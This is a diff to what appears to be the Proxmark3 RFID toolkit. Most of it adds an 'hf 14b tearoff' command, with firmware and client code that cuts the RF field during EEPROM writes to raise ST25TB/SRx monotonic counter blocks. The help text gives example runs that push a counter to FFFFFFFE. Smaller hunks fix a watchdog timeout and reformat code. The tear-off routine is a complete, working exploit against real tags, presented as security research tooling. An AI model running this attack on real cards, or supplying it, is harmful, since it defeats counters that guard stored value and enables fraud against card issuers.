diff --git a/CHANGELOG.md b/CHANGELOG.md index 1ca171090..b7e52289c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz) +- Fixed missing `WDT_HIT()` in `Get14443bAnswerFromTag()` DMA polling loop causing hardware watchdog reboot on SSC clock stall (@xNovyz) - Added `hf vas info` command (@kormax) - Changed `wiegand encode` / `wiegand decode` - added support for encoding and decoding the new 96-bit ASN.1 encoded format, `--bin` encoding, verbose PACS encoding output, and explicit rejection of raw/binary decodes above 96 bits (@cindersocket) - Added Mifare Classic support to `hf gallagher` command (@pingu2211) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index aee4d8326..0f9832fb5 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -101,19 +101,19 @@ uint8_t g_tearoff_skip = 0; int tearoff_hook(void) { if (g_tearoff_enabled) { if (g_tearoff_delay_us == 0) { - Dbprintf(_RED_("No tear-off delay configured!")); + if (g_dbglevel >= DBG_ERROR) Dbprintf(_RED_("No tear-off delay configured!")); g_tearoff_enabled = false; return PM3_SUCCESS; // SUCCESS = the hook didn't do anything } if (g_tearoff_skip > 0) { - Dbprintf(_GREEN_("Tear-off skipped!")); + if (g_dbglevel >= DBG_INFO) Dbprintf(_GREEN_("Tear-off skipped!")); g_tearoff_skip--; return PM3_SUCCESS; // SUCCESS = the hook didn't do anything } SpinDelayUsPrecision(g_tearoff_delay_us); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); g_tearoff_enabled = false; - if (g_dbglevel >= DBG_ERROR) Dbprintf(_YELLOW_("Tear-off triggered!")); + if (g_dbglevel >= DBG_INFO) Dbprintf(_YELLOW_("Tear-off triggered!")); return PM3_ETEAROFF; } else { return PM3_SUCCESS; // SUCCESS = the hook didn't do anything @@ -1744,6 +1744,10 @@ static void PacketReceived(PacketCommandNG *packet) { setHf14bConfig(&c); break; } + case CMD_HF_ISO14443B_ST25TB_TEAROFF: { + ST25TB_TearOff(packet->data.asBytes); + break; + } case CMD_HF_CRYPTORF_SIM : { // simulate_crf_tag(); break; diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index 384ec236c..e1c313414 100644 --- a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -630,6 +630,10 @@ int FpgaGetCurrent(void) { return downloaded_bitstream; } +void FpgaResetBitstream(void) { + downloaded_bitstream = FPGA_BITSTREAM_UNKNOWN; +} + // Turns off the antenna, // log message // if HF, Disable SSC DMA diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index 0786e608c..05fed4b1a 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -172,6 +172,7 @@ void SetupSpi(int mode); bool FpgaSetupSscDma(uint8_t *buf, uint16_t len); void Fpga_print_status(void); int FpgaGetCurrent(void); +void FpgaResetBitstream(void); void SetAdcMuxFor(uint32_t whichGpio); // extern and generel turn off the antenna method diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 32f05791c..423742e70 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2746,7 +2746,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint32_t start_time = 0; uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 with credit key uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs - if (msg->credit_recovery == true){ + if (msg->credit_recovery == true) { read_check_cc[0] = 0x80 | ICLASS_CMD_READCHECK; //still block 24 but with debit key } @@ -2799,7 +2799,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { //Step 0A - The read_check_cc block has to be in AA2, set it by checking the card configuration read_check_cc[1] = hdr.conf.app_limit + 1; //first block of AA2 - if (msg->credit_recovery == true){ + if (msg->credit_recovery == true) { read_check_cc[1] = hdr.conf.app_limit - 1; //last block of AA1 } //Step1 Authenticate with AA1 using trace @@ -2928,7 +2928,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint8_t wb[9] = {0}; uint8_t blockno = 3; - if (msg->credit_recovery == true){ + if (msg->credit_recovery == true) { blockno = 4; } wb[0] = blockno; @@ -3080,8 +3080,8 @@ fast_restore: uint8_t mac2[4] = {0}; uint8_t wb[9] = {0}; uint8_t blockno = 3; - if (msg->credit_recovery == true){ - blockno = 4; + if (msg->credit_recovery == true) { + blockno = 4; } wb[0] = blockno; bool reverted = false; diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 54c455b38..6a70887d5 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -1379,10 +1379,23 @@ static int Get14443bAnswerFromTag(uint8_t *response, uint16_t max_len, uint32_t LED_D_ON(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_SUBCARRIER_848_KHZ | FPGA_HF_READER_MODE_RECEIVE_IQ); + uint32_t wait_start_time = GetTickCount(); + for (;;) { volatile uint16_t behindBy = ((uint16_t *)AT91C_BASE_PDC_SSC->PDC_RPR - upTo) & (DMA_BUFFER_SIZE - 1); if (behindBy == 0) { + WDT_HIT(); + if (BUTTON_PRESS()) { + ret = PM3_EOPABORTED; + break; + } + // Failsafe: if the FPGA SSC clock drops completely, DMA will freeze eternally. + // We use the ARM's main tick counter (1ms) instead of the SSP clock. + if (samples == 0 && GetTickCountDelta(wait_start_time) > 200) { + ret = PM3_ETIMEOUT; + break; + } continue; } @@ -2609,6 +2622,462 @@ static void iso14b_set_trigger(bool enable) { g_trigger = enable; } +//============================================================================= +// ST25TB COUNTER TEAR-OFF IMPLEMENTATION +// Ported from near-field-chaos / hf_st25_tearoff standalone +//============================================================================= + +// Tear-off constants +#define TEAROFF_INITIAL_DELAY_US 150 +#define TEAROFF_MIN_DELAY_US 0 +#define TEAROFF_ADJUSTMENT_US_DEF 25 +#define TEAROFF_WRITE_RETRY_COUNT 30 +#define TEAROFF_CONSOLIDATE_READS 6 +#define TEAROFF_CONSOLIDATE_WAIT_RD 2 +#define TEAROFF_CONSOLIDATE_WAIT_MS 2000 + +// Bit manipulation macros +#define IS_ONE_BIT_T(value, index) ((value) & ((uint32_t)1 << (index))) +#define IS_ZERO_BIT_T(value, index) (!IS_ONE_BIT_T(value, index)) + +// Simple PRNG for randomization in tear-off value selection +static unsigned long s_tearoff_prng_seed = 1; +static int tearoff_rand(void) { + s_tearoff_prng_seed = s_tearoff_prng_seed * 1103515245 + 12345; + return (unsigned int)(s_tearoff_prng_seed / 65536) % 32768; +} + +// Quick field restart after tear-off (FPGA bitstream already loaded, buffers allocated). +// This is MUCH faster than full iso14443b_setup() since it skips: +// - FpgaDownloadAndGo (bitstream already cached) +// - BigBuf_free + BigBuf_calloc (demod buffers persist) +// - 100ms field stabilization (tag only needs ~20ms to power up) +static void tearoff_field_on(void) { + // Re-enable reader mode + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER); +#ifdef RDV4 + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD_RDV4); +#else + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD); +#endif + // Brief field stabilization — tag needs ~5-15ms to power on from RF + SpinDelay(20); + Demod14bReset(); + Uart14bReset(); + StartCountSspClk(); + iso14b_set_fwt(8); + s_field_on = true; +} + +static void tearoff_field_off(void) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + s_field_on = false; + // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump + // is active. We MUST wait several milliseconds with the field fully OFF to + // drain the tag's capacitor. If we turn the field back on too quickly, the + // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes + // digitally latched-up/unresponsive until physically removed. + SpinDelay(10); +} + +static void tearoff_exit(void) { + g_tearoff_enabled = false; + g_tearoff_delay_us = 0; + // Force a full FPGA bitstream reload on the next HF command. + // After hundreds of rapid field on/off cycles, the FPGA's internal + // state machine (SSC/DMA) can become corrupted even though its bitstream + // is technically loaded. Invalidating the cache forces FpgaDownloadAndGo() + // to do a complete re-initialization next time. + FpgaResetBitstream(); + switch_off(); + SpinDelay(20); + BigBuf_free_keep_EM(); + s_field_on = false; +} + +// Read a single ST25TB/SRx block with lightweight field cycle +static int tearoff_read_block(uint8_t block_address, uint32_t *block_value) { + int res; + iso14b_card_select_t card; + + tearoff_field_on(); + + res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + tearoff_field_off(); + return res; + } + + uint8_t block[ISO14B_BLOCK_SIZE]; + res = read_14b_srx_block(block_address, block); + if (res == PM3_SUCCESS) { + *block_value = (uint32_t)block[0] | + ((uint32_t)block[1] << 8) | + ((uint32_t)block[2] << 16) | + ((uint32_t)block[3] << 24); + } + + tearoff_field_off(); + return res; +} + +// Low-level write command (no response expected for SRx write) +static int tearoff_cmd_write_block(uint8_t block_address, uint8_t *block) { + uint8_t cmd[] = {ISO14443B_WRITE_BLK, block_address, block[0], block[1], block[2], block[3], 0x00, 0x00}; + AddCrc14B(cmd, 6); + + uint32_t start_time = 0; + uint32_t eof_time = 0; + CodeAndTransmit14443bAsReader(cmd, sizeof(cmd), &start_time, &eof_time, true); + return PM3_SUCCESS; +} + +// Write a block then cut RF at precise timing for tear-off effect +static void tearoff_write_block(uint8_t block_address, uint32_t data, uint16_t tearoff_delay_us) { + + uint8_t block[ISO14B_BLOCK_SIZE]; + block[0] = (data & 0xFF); + block[1] = (data >> 8) & 0xFF; + block[2] = (data >> 16) & 0xFF; + block[3] = (data >> 24) & 0xFF; + + tearoff_field_on(); + + iso14b_card_select_t card; + int res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + tearoff_field_off(); + return; + } + + g_tearoff_enabled = true; + g_tearoff_delay_us = tearoff_delay_us; + + tearoff_cmd_write_block(block_address, block); + + if (tearoff_hook() == PM3_ETEAROFF) { + s_field_on = false; + // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump + // is active. We MUST wait several milliseconds with the field fully OFF to + // drain the tag's capacitor. If we turn the field back on too quickly, the + // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes + // digitally latched-up/unresponsive until physically removed. + SpinDelay(10); + } else { + // Fallback if hook didn't trigger for some reason + tearoff_field_off(); + } +} + +// Write then verify with retries +static int8_t tearoff_retry_write_verify(uint8_t block_address, uint32_t target_value, + uint32_t max_try_count, int sleep_time_ms, + uint32_t *read_back_value) { + uint32_t i = 0; + *read_back_value = ~target_value; + + while (*read_back_value != target_value && i < max_try_count) { + tearoff_write_block(block_address, target_value, 6000); // Long delay = reliable write + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + tearoff_read_block(block_address, read_back_value); + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + i++; + } + + return (*read_back_value == target_value) ? 0 : -1; +} + +// Check if a value is stable (consolidated) across multiple reads +static int8_t tearoff_is_consolidated(uint8_t block_address, uint32_t value, + int repeat_read, int sleep_time_ms, + uint32_t *read_value) { + int result; + for (int i = 0; i < repeat_read; i++) { + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + result = tearoff_read_block(block_address, read_value); + if (result != 0 || value != *read_value) { + return -1; + } + } + return 0; +} + +// Consolidate a block to a stable state with decrement writes +static int8_t tearoff_consolidate_block(uint8_t block_address, uint32_t current_value, + uint32_t target_value, uint32_t *read_back_value) { + int8_t result; + uint32_t consolidation_value; + + if (target_value <= 0xFFFFFFFD && current_value >= (target_value + 2)) { + consolidation_value = target_value + 2; + } else { + consolidation_value = current_value; + } + + result = tearoff_retry_write_verify(block_address, consolidation_value - 1, + TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 1 (write 0x%08X)", consolidation_value - 1); + return -1; + } + + if (*read_back_value != 0xFFFFFFFE || target_value == 0xFFFFFFFD) { + result = tearoff_retry_write_verify(block_address, consolidation_value - 2, + TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 2 (write 0x%08X)", consolidation_value - 2); + return -1; + } + } + + if (result == 0 && target_value > 0xFFFFFFFD && *read_back_value > 0xFFFFFFFD) { + result = tearoff_is_consolidated(block_address, *read_back_value, + TEAROFF_CONSOLIDATE_READS, 0, read_back_value); + if (result == 0) { + result = tearoff_is_consolidated(block_address, *read_back_value, + TEAROFF_CONSOLIDATE_WAIT_RD, + TEAROFF_CONSOLIDATE_WAIT_MS, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed stability check (long wait)"); + return -1; + } + } else { + Dbprintf("Consolidation failed stability check (short wait)"); + return -1; + } + } + + return 0; +} + +// Calculate next value to attempt for tear-off write +static uint32_t tearoff_next_value(uint32_t current_value, bool randomness) { + uint32_t value = 0; + int8_t index = 31; + + if (current_value < 0x0000FFFF) { + return (current_value > 0) ? current_value - 1 : 0; + } + + while (index >= 0) { + if (value == 0 && IS_ONE_BIT_T(current_value, index)) { + value = 0xFFFFFFFF >> (31 - index); + index--; + } + + if (value != 0 && IS_ZERO_BIT_T(current_value, index)) { + index++; + value &= ~((uint32_t)1 << index); + + if (randomness && value < 0xF0000000 && index > 1) { + value ^= ((uint32_t)1 << (tearoff_rand() % index)); + } + return value; + } + + index--; + } + + return (current_value > 0) ? current_value - 1 : 0; +} + +// Adjust tear-off timing +static void tearoff_adjust_timing(int *tear_off_us, uint32_t tear_off_adjustment_us) { + *tear_off_us -= tear_off_adjustment_us; + if (*tear_off_us < TEAROFF_MIN_DELAY_US) { + *tear_off_us = TEAROFF_MIN_DELAY_US; + } +} + +// Log tear-off attempt with binary representation +static void tearoff_log(int tear_off_us, const char *color, uint32_t value) { + char bin[33]; + for (int i = 31; i >= 0; i--) { + bin[31 - i] = IS_ONE_BIT_T(value, i) ? '1' : '0'; + } + bin[32] = '\0'; + Dbprintf("%s%08X%s : %s%s%s : %d us", color, value, "\033[0m", color, bin, "\033[0m", tear_off_us); +} + +// Payload structure for tear-off command +typedef struct { + uint8_t block_address; + uint32_t target_value; + uint32_t tear_off_adjustment_us; + uint32_t safety_value; + uint32_t start_time_us; +} PACKED st25tb_tearoff_params_t; + +// Main ST25TB tear-off function, called from appmain.c +void ST25TB_TearOff(const uint8_t *data) { + const st25tb_tearoff_params_t *params = (const st25tb_tearoff_params_t *)data; + + uint8_t block_address = params->block_address; + uint32_t target_value = params->target_value; + uint32_t tear_off_adjustment_us = params->tear_off_adjustment_us; + uint32_t safety_value = params->safety_value; + uint32_t start_time_us = params->start_time_us; + + int result; + bool trigger = true; + + uint32_t read_value = 0; + uint32_t current_value = 0; + uint32_t last_consolidated_value = 0; + uint32_t tear_off_value = 0; + + // Start delay: user-specified or default TEAROFF_INITIAL_DELAY_US (150 us) + int tear_off_us = (start_time_us > 0) ? (int)start_time_us : TEAROFF_INITIAL_DELAY_US; + if (tear_off_adjustment_us == 0) { + tear_off_adjustment_us = TEAROFF_ADJUSTMENT_US_DEF; + } + + // One-time full setup: loads FPGA bitstream, allocates demod buffers, + // configures ADC mux and SSC. All subsequent field cycles use the + // lightweight tearoff_field_on/off which skip the heavy initialization. + iso14443b_setup(); + set_tracing(true); + tearoff_field_off(); // Start with field off, tearoff_read_block will turn it on + + // Initial read + result = tearoff_read_block(block_address, ¤t_value); + if (result != PM3_SUCCESS) { + Dbprintf("Initial read failed for block %d", block_address); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0); + tearoff_exit(); + return; + } + + tear_off_value = tearoff_next_value(current_value, false); + + Dbprintf(""); + Dbprintf(_CYAN_("ST25TB Tear-off counter attack")); + Dbprintf("------------------------------"); + Dbprintf(" Target block: %d", block_address); + Dbprintf("Current value: 0x%08X", current_value); + Dbprintf(" Target value: 0x%08X", target_value); + Dbprintf(" Safety value: 0x%08X", safety_value); + Dbprintf("Adjustment us: %u", tear_off_adjustment_us); + Dbprintf(""); + + if (current_value == target_value) { + Dbprintf(_GREEN_("Current value already matches target.")); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + if (tear_off_value == 0 && current_value != 0) { + Dbprintf("Tear-off technique not possible from current value."); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0); + tearoff_exit(); + return; + } + + // Main tear-off loop + uint32_t loop_count = 0; + int consecutive_read_fails = 0; + + for (;;) { + WDT_HIT(); + loop_count++; + + // Send WTX keepalive every ~500 iterations to prevent USB timeout + // Each iteration takes ~1-10ms (select + write + read), so this + // fires roughly every 1-5 seconds. We request 10s extension each time. + if ((loop_count % 500) == 0) { + send_wtx(10000); + } + + // Check for user abort (button press or USB data) + if (BUTTON_PRESS() || data_available()) { + Dbprintf("Tear-off stopped by user."); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_EOPABORTED, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + // Safety check + if (tear_off_value < safety_value) { + Dbprintf("Stopped. Safety threshold reached (next value 0x%08X < safety 0x%08X)", + tear_off_value, safety_value); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + // Perform tear-off write attempt + tearoff_write_block(block_address, tear_off_value, tear_off_us); + + // Read back + result = tearoff_read_block(block_address, &read_value); + if (result != 0) { + consecutive_read_fails++; + if (consecutive_read_fails > 10) { + Dbprintf("Read failed %d times consecutively. Is the tag present?", consecutive_read_fails); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + tear_off_us++; + continue; // Retry if read fails + } + consecutive_read_fails = 0; + + // Analyze result + if (read_value > current_value) { + // Partial write success (tear-off glitch worked) + if (read_value >= 0xFFFFFFFE || + (read_value - 2) > target_value || + read_value != last_consolidated_value || + ((read_value & 0xF0000000) > (current_value & 0xF0000000))) { + + result = tearoff_consolidate_block(block_address, read_value, + target_value, ¤t_value); + if (result == 0 && current_value == target_value) { + tearoff_log(tear_off_us, "\033[32m", read_value); + Dbprintf(""); + Dbprintf(_GREEN_("Target value 0x%08X reached successfully!"), target_value); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + if (read_value != last_consolidated_value) { + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + } + last_consolidated_value = read_value; + tear_off_value = tearoff_next_value(current_value, false); + trigger = true; + tearoff_log(tear_off_us, "\033[32m", read_value); + } + } else if (read_value == tear_off_value) { + // Full write went through (no tear-off effect) + if (trigger) { + tear_off_value = tearoff_next_value(tear_off_value, true); + trigger = false; + } else { + tear_off_value = tearoff_next_value(read_value, false); + trigger = true; + } + current_value = read_value; + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + tearoff_log(tear_off_us, "\033[34m", read_value); + } else if (read_value < tear_off_value) { + // Partial write but went lower + tear_off_value = tearoff_next_value(read_value, false); + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + current_value = read_value; + trigger = true; + tearoff_log(tear_off_us, "\033[31m", read_value); + } + + // Increment timing for next attempt + tear_off_us++; + } +} + + void SendRawCommand14443B(iso14b_raw_cmd_t *p) { // turn on trigger (LED_A) diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h index c8b8629c1..0e509d000 100644 --- a/armsrc/iso14443b.h +++ b/armsrc/iso14443b.h @@ -49,6 +49,7 @@ int read_14b_srx_block(uint8_t blocknr, uint8_t *block); int iso14443b_select_srx_card(iso14b_card_select_t *card); void SniffIso14443b(void); void SendRawCommand14443B(iso14b_raw_cmd_t *p); +void ST25TB_TearOff(const uint8_t *data); void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing); // 14b config diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 37ecb2297..b605f5c7d 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -3192,6 +3192,135 @@ static int CmdHF14BMobibRead(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHF14BSriTearoff(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf 14b tearoff", + "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks.\n" + "This exploits EEPROM tearing to increment counters that normally can only\n" + "be decremented. Based on the near-field-chaos project by SecLabz.\n" + "\n" + "The attack works by sending a write command and cutting the RF field at\n" + "a precise moment, causing a partial write that can raise the counter value.\n" + "The operation usually takes a few seconds to a few minutes.\n" + "\n" + " NOTE: 0xFFFFFFFE values may be unstable due to tag internals.\n" + " Keep the tag positioned steadily on the antenna.\n", + "hf 14b tearoff -b 5 -d FFFFFFFE\n" + "hf 14b tearoff -b 6 -d FFFFFFFE\n" + "hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50\n" + "hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_int1("b", "block", "", "block number (typically 5 or 6 for ST25TB counters)"), + arg_str1("d", "data", "", "target counter value (4 hex bytes, e.g. FFFFFFFE)"), + arg_int0(NULL, "adj", "", "tear-off timing step in us (default: 25)"), + arg_int0(NULL, "safety", "", "safety threshold value (default: 0x1000)"), + arg_int0(NULL, "start", "", "initial tear-off delay in us (default: 150)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int blockno = arg_get_int_def(ctx, 1, -1); + + int dlen = 0; + uint8_t data[4] = {0}; + int res = CLIParamHexToBuf(arg_get_str(ctx, 2), data, sizeof(data), &dlen); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int adj = arg_get_int_def(ctx, 3, 0); + int safety = arg_get_int_def(ctx, 4, 0x1000); + int start = arg_get_int_def(ctx, 5, 0); + CLIParserFree(ctx); + + if (dlen != 4) { + PrintAndLogEx(FAILED, "target value must be 4 hex bytes, got %d", dlen); + return PM3_EINVARG; + } + + if (blockno < 0 || blockno > 255) { + PrintAndLogEx(FAILED, "block number must be 0-255, got %d", blockno); + return PM3_EINVARG; + } + + // Convert data bytes to uint32_t (little-endian as per ST25TB convention) + uint32_t target_value = (uint32_t)data[0] << 24 | + (uint32_t)data[1] << 16 | + (uint32_t)data[2] << 8 | + (uint32_t)data[3]; + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("ST25TB Tear-off Attack") " ---------"); + PrintAndLogEx(INFO, " block............. " _YELLOW_("%d"), blockno); + PrintAndLogEx(INFO, " target value...... " _YELLOW_("0x%08X"), target_value); + PrintAndLogEx(INFO, " start delay....... " _YELLOW_("%d") " us", start > 0 ? start : 150); + PrintAndLogEx(INFO, " timing step....... " _YELLOW_("%d") " us", adj > 0 ? adj : 25); + PrintAndLogEx(INFO, " safety threshold.. " _YELLOW_("0x%04X"), safety); + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("Enter") " to abort"); + PrintAndLogEx(INFO, ""); + + // Build payload (must match st25tb_tearoff_params_t on ARM side) + struct { + uint8_t block_address; + uint32_t target_value; + uint32_t tear_off_adjustment_us; + uint32_t safety_value; + uint32_t start_time_us; + } PACKED payload; + + payload.block_address = (uint8_t)blockno; + payload.target_value = target_value; + payload.tear_off_adjustment_us = (uint32_t)adj; + payload.safety_value = (uint32_t)safety; + payload.start_time_us = (uint32_t)start; + + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO14443B_ST25TB_TEAROFF, (uint8_t *)&payload, sizeof(payload)); + + // Wait for response with generous timeout. + // The ARM side sends periodic CMD_WTX keepalive packets to extend + // the timeout, so the attack can run as long as needed. + // Use -1 for infinite wait (extended via WTX), abort with Enter key. + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_HF_ISO14443B_ST25TB_TEAROFF, &resp, -1) == false) { + PrintAndLogEx(WARNING, "command failed or connection lost"); + return PM3_ETIMEOUT; + } + + if (resp.status == PM3_SUCCESS) { + uint32_t final_value = 0; + if (resp.length >= sizeof(uint32_t)) { + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + } + PrintAndLogEx(SUCCESS, "Tear-off attack " _GREEN_("successful")); + PrintAndLogEx(SUCCESS, "Final block value: " _GREEN_("0x%08X"), final_value); + } else if (resp.status == PM3_EOPABORTED) { + uint32_t final_value = 0; + if (resp.length >= sizeof(uint32_t)) { + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + } + PrintAndLogEx(WARNING, "Tear-off attack " _YELLOW_("aborted by user")); + PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value); + } else { + PrintAndLogEx(FAILED, "Tear-off attack " _RED_("failed")); + if (resp.length >= sizeof(uint32_t)) { + uint32_t final_value = 0; + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value); + } + } + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(HINT, "Hint: use " _YELLOW_("`hf 14b rdbl -b %d`") " to verify the block", blockno); + return PM3_SUCCESS; +} + static int CmdHF14BSetUID(const char *Cmd) { CLIParserContext *ctx; @@ -3288,6 +3417,7 @@ static command_t CommandTable[] = { {"sim", CmdHF14BSim, IfPm3Iso14443b, "Fake ISO ISO-14443-B tag"}, {"sniff", CmdHF14BSniff, IfPm3Iso14443b, "Eavesdrop ISO-14443-B"}, {"wrbl", CmdHF14BSriWrbl, IfPm3Iso14443b, "Write data to a SRI512/SRIX4 tag"}, + {"tearoff", CmdHF14BSriTearoff, IfPm3Iso14443b, "Tear-off attack on ST25TB/SRx counter blocks"}, {"view", CmdHF14BView, AlwaysAvailable, "Display content from tag dump file"}, {"valid", CmdSRIX4kValid, AlwaysAvailable, "SRIX4 checksum test"}, {"---------", CmdHelp, AlwaysAvailable, "------------------ " _CYAN_("Calypso / Mobib") " ------------------"}, diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c index b00a9f350..ca779fce7 100644 --- a/client/src/cmdhfaliro.c +++ b/client/src/cmdhfaliro.c @@ -1577,11 +1577,11 @@ static int aliro_read_do_auth0(aliro_read_state_t *state, uint8_t auth0_data[ALIRO_MAX_BUFFER] = {0}; size_t auth0_data_len = 0; if (aliro_append_tlv(0x41, &state->auth0_command_parameters, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x42, (const uint8_t[]){ALIRO_AUTH0_DEFAULT_POLICY}, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x5C, state->protocol_version, 2, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x87, state->reader_ephemeral_public_key, 65, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x4C, state->transaction_identifier, 16, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS) { + aliro_append_tlv(0x42, (const uint8_t[]) {ALIRO_AUTH0_DEFAULT_POLICY}, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x5C, state->protocol_version, 2, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x87, state->reader_ephemeral_public_key, 65, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x4C, state->transaction_identifier, 16, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to encode AUTH0 command"); return PM3_ESOFT; } @@ -1787,10 +1787,10 @@ static int aliro_read_do_auth1(aliro_read_state_t *state, uint8_t auth1_data[ALIRO_MAX_BUFFER] = {0}; size_t auth1_data_len = 0; - if (aliro_append_tlv(0x41, (const uint8_t[]){ALIRO_AUTH1_REQUEST_PUBLIC_KEY}, 1, - auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x9E, auth1_signature, 64, - auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS) { + if (aliro_append_tlv(0x41, (const uint8_t[]) {ALIRO_AUTH1_REQUEST_PUBLIC_KEY}, 1, +auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x9E, auth1_signature, 64, + auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to encode AUTH1 command"); return PM3_ESOFT; } @@ -2041,7 +2041,7 @@ static int aliro_parse_step_up_scopes(struct arg_str *scope_arg, aliro_step_up_s char *saveptr = NULL; char *token = strtok_r(scope_str, ",", 